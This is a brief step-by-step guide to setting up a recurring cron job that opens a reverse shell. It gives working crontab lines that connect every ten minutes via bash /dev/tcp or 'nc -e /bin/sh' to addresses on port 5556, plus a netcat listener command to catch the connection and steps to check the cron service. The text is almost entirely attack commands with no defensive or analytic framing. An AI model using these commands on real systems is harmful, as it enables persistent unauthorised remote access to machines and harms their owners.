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Step 1: Create the Cron Job

1. Open the crontab editor: crontab -e
2. Add the following line to create a cron job that runs every 10 minutes: */10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
3. Alternatively, use netcat for the reverse shell: */10 * * * * nc -e /bin/sh 192.168.1.21 5556
4. If you need to specify a user, add the user before the command: */10 * * * * pelle /path/to/binary

Step 2: Verify the Cron Job

1. Check if the cron service is active: service crond status
2. If the cron service is not started, start it: service crond start

Step 3: Set Up a Netcat Listener

1. On your local machine, set up a netcat listener to catch the reverse shell connection: nc -lvp 5556

Step 4: Troubleshooting and Verification

1. Verify that the cron job is running: crontab -l
2. Check the status of the cron service again if needed: service crond status pgrep cron
3. Ensure your netcat listener is ready and waiting for connections: nc -lvp 5556